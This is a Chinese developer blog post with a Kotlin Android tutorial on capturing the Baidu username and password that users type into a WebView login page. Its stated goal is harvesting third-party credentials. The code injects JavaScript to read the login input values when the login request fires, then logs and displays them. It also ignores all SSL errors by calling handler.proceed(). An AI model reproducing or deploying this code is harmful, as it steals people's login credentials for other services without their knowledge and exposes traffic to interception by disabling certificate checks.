android获取账号密码错误,android:webview获取网页登陆账号和密码

使用webview获取html页面信息

需求:抓取webview打开的页面中登陆信息,简单点说就是获取第三方的账号和密码。(咋一想,这尼玛有点坑啊,获取别人的信息,怎么都不太好吧。但是也得实现呀。。。)

本文将以抓取百度账号信息为例。(这尼玛也是一个坑。。。百度还是有一些安全措施的。自己挖的坑,笑着也要填完。)

165013523b2a888cb1bc5323dfad2317.png

下面开始正文

测试地址

const val TEST_URL = "http://www.baidu.com"

布局代码

xmlns:app="http://schemas.android.com/apk/res-auto"

xmlns:tools="http://schemas.android.com/tools"

android:layout_width="match_parent"

android:layout_height="match_parent"

tools:context=".WebviewActivity">

android:id="@+id/webview"

android:layout_width="match_parent"

android:layout_height="match_parent"

app:layout_constraintBottom_toBottomOf="parent"

app:layout_constraintLeft_toLeftOf="parent"

app:layout_constraintRight_toRightOf="parent"

app:layout_constraintTop_toTopOf="parent" />

android:id="@+id/constraint_container"

android:layout_width="match_parent"

android:layout_height="wrap_content"

android:layout_marginBottom="10dp"

app:layout_constraintVertical_bias="1"

app:layout_constraintBottom_toBottomOf="parent"

app:layout_constraintLeft_toLeftOf="parent"

app:layout_constraintRight_toRightOf="parent"

app:layout_constraintTop_toTopOf="parent"

app:layout_constraintHorizontal_chainStyle="spread">

android:id="@+id/tv_account"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:background="#41c0ff"

android:text="account"

android:textColor="@color/colorAccent"

android:textSize="18sp"

app:layout_constraintBottom_toBottomOf="parent"

app:layout_constraintLeft_toLeftOf="parent"

app:layout_constraintRight_toLeftOf="@id/tv_pwd"

app:layout_constraintTop_toTopOf="parent" />

android:id="@+id/tv_pwd"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:background="#41c0ff"

android:text="password"

android:textColor="@color/colorAccent"

android:textSize="18sp"

app:layout_constraintBottom_toBottomOf="parent"

app:layout_constraintLeft_toRightOf="@id/tv_account"

app:layout_constraintRight_toRightOf="parent"

app:layout_constraintTop_toTopOf="parent" />

4db2a13c4ede977183afbbf97e007c32.png

如果抓取成功,我们就可以看到 账号密码会在底部的textview中显示。

9b3934d2a9e691b38dfcabc100dd5a6a.png

先来一波分析。我们要获取页面的信息,那是不是要先抓取页面再说呢?好,抓取页面的方法非常简单,直接百度就找到了,嘿嘿。。。

webview.loadUrl("javascript:window.Android.getSource(" +

"document.getElementsByTagName('html')[0].innerHTML);")

等等,我们就是要抓取页面信息,那么这个方法是不是就够了。。。现在要做的岂不就是把这个方法放到合适的位置,感觉超简单嘛。(那我还写个蛋。。。)

现在就照着这个思路走下去。我们了解了webview的一些基本用法,知道用之前先获取到settings,一顿setting之后,然后设置webViewClient,这里重点说下这个玩意,它里面有这几个方法,很常用的方法。

/**

*在开始加载网页时会回调

*/

override fun onPageStarted(view: WebView?, url: String?, favicon: Bitmap?)

/**

* 在结束加载网页时会回调

*/

override fun onPageFinished(view: WebView?, url: String?)

/**

*拦截 url 跳转,在里边添加点击链接跳转或者操作

*/

override fun shouldOverrideUrlLoading(view: WebView?, request: WebResourceRequest?): Boolean

/**

*当接收到https错误时,会回调此函数,在其中可以做错误处理

*/

override fun onReceivedSslError(view: WebView?, handler: SslErrorHandler?, error: SslError?)

放在加载开始或加载完成感觉都不行呀,那个时候还没有填写账号信息,就算抓取到页面信息,那也是徒劳滴。所以在填写完信息后抓取就不会有问题啦。无懈可击的理论呀。

拦截url跳转的时候获取应该行。当填写完信息后,跳转之前,获取下页面。但是有可能页面先关闭了,抓取不到信息。这个没试过,而且跳转的时候获取时机已过。有兴趣的小伙伴自己去玩吧。

接着说说无懈可击的理论。填写完信息是什么时候呢?感觉方法不够用啊,是时候去百度一波,填充下知识了。先了解下下面的大大的基本知识。当然也还了解到从form表单获取数据,这个没试过,自己可以去尝试。

https://blog..net/harvic880925/article/details/51523983

get到一个方法。

/**

* 异步: 在每一次请求资源时,都会通过这个函数来回调

* 注意返回值可以为空

* wappass.baidu.com/wp/api/login?tt

*/

override fun shouldInterceptRequest(view: WebView?, request: WebResourceRequest?): WebResourceResponse?

看注释,已经踩了两个坑。第一,这个方法在一个子线程了,调用loadurl方法时报错,所以需要post一下;第二,这个方法可以返回空,需要加个?。不然跑起来后在这里报错,一脸懵逼。

因为点击登录的时候必然会去请求资源,这个时候最好获取页面信息了。但其实获取到html后发现,尼玛input标签里根本就没有value好吗,F***。。。。。。

经过一番挣扎的思索,头发又掉了不少。既然有了标签,那就通过标签获取值嘛,这样不就是在哪都能拿到账号和信息了。好了,理论分析完毕,是时候开始技术表演了。

不多说,直接贴上代码。

/**

*在开始加载网页时会回调

*/

override fun onPageStarted(view: WebView?, url: String?, favicon: Bitmap?) {

super.onPageStarted(view, url, favicon)

url?.let { LocLog.action("onPageStarted: $url") }

}

/**

* 在结束加载网页时会回调

*/

override fun onPageFinished(view: WebView?, url: String?) {

super.onPageFinished(view, url)

url?.let {

LocLog.action("onPageFinished: $url")

}

}

/**

*拦截 url 跳转,在里边添加点击链接跳转或者操作

*/

override fun shouldOverrideUrlLoading(view: WebView?, request: WebResourceRequest?): Boolean {

request?.url.apply {

LocLog.action("""shouldOverrideUrlLoading: ${this.toString()}""")

view?.loadUrl(this.toString())

}

return true

}

/**

*当接收到https错误时,会回调此函数,在其中可以做错误处理

*/

override fun onReceivedSslError(view: WebView?, handler: SslErrorHandler?, error: SslError?) {

handler?.proceed()

}

/**

* 异步: 在每一次请求资源时,都会通过这个函数来回调

* 注意返回值可以为空

* wappass.baidu.com/wp/api/login?tt

*/

override fun shouldInterceptRequest(view: WebView?, request: WebResourceRequest?): WebResourceResponse? {

request?.url.apply {

LocLog.action("""shouldInterceptRequest: ${this}""")

}

return super.shouldInterceptRequest(view, request)

}

各个方法都加上日志,分析下登陆页面和登陆后的各个URL链接,然后做下一步动作。

e761278d61c46e5b6663fb4b089a5da8.png

上面是打开登陆页面的日志,还有一些没放到图中。最开始打算在shouldInterceptRequest中抓取页面信息,但是发现这样的话,点击登陆,页面根本不跳转,麻蛋。所以就选择放到页面加载完成的方法中。分析url,当包含框中的字符串的时候抓取页面。

在方法onPageFinished中

url?.let {

LocLog.action("onPageFinished: $url")

if (url.contains("wappass.baidu.com/passport/?login"))

webview.loadUrl("javascript:window.Android.getSource(" +

"document.getElementsByTagName('html')[0].innerHTML);")

}

//wappass.baidu.com/passport/?login

分析HTML发现,账号和密码都在input标签中,而且页面中只有这个几个input标签。但还是要分析一波,在合适的地方获取value,最好是在跳转过程中获取,这样就不会有问题。

aede96c06206bcd0bce8dd09b8a789b1.png

获取账号密码的方法如下,在方法shouldInterceptRequest中

request?.url.apply {

LocLog.action("""shouldInterceptRequest: ${this}""")

if (!this.toString().contains("wappass.baidu.com/wp/api/login?tt"))

return super.shouldInterceptRequest(view, request)

}

webview.post {

webview.loadUrl("javascript:window.Android.getAccount(" +

"document.getElementsByTagName('input')[0].value);")

webview.loadUrl("javascript:window.Android.getPwd(" +

"document.getElementsByTagName('input')[1].value);")

}

不要忘了添加js调用Android的方法。

webview.addJavascriptInterface(JSHook(), "Android")

inner class JSHook{

@JavascriptInterface

fun getSource(html: String?) {

html?.apply { LocLog.action(" getSource: $this") }

}

@JavascriptInterface

fun getAccount(account: String?) {

account?.apply {

LocLog.action("getAccount:$this")

tv_account?.setText(this)

}

}

@JavascriptInterface

fun getPwd(pwd: String?) {

pwd?.apply {

LocLog.action("getPwd: $this")

tv_pwd?.setText(this)

}

}

}

最后发现,为啥要费劲吧啦的抓取页面呢?还不是为了分析页面,然后好获取账号和密码。到后来发现,页面都长得是一球样,不用分析页面,妥妥滴获取标签值,使用某个方法就能获取到值了,哈哈哈

github地址:

https://github.com/blazeqin/webviewcrawler

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值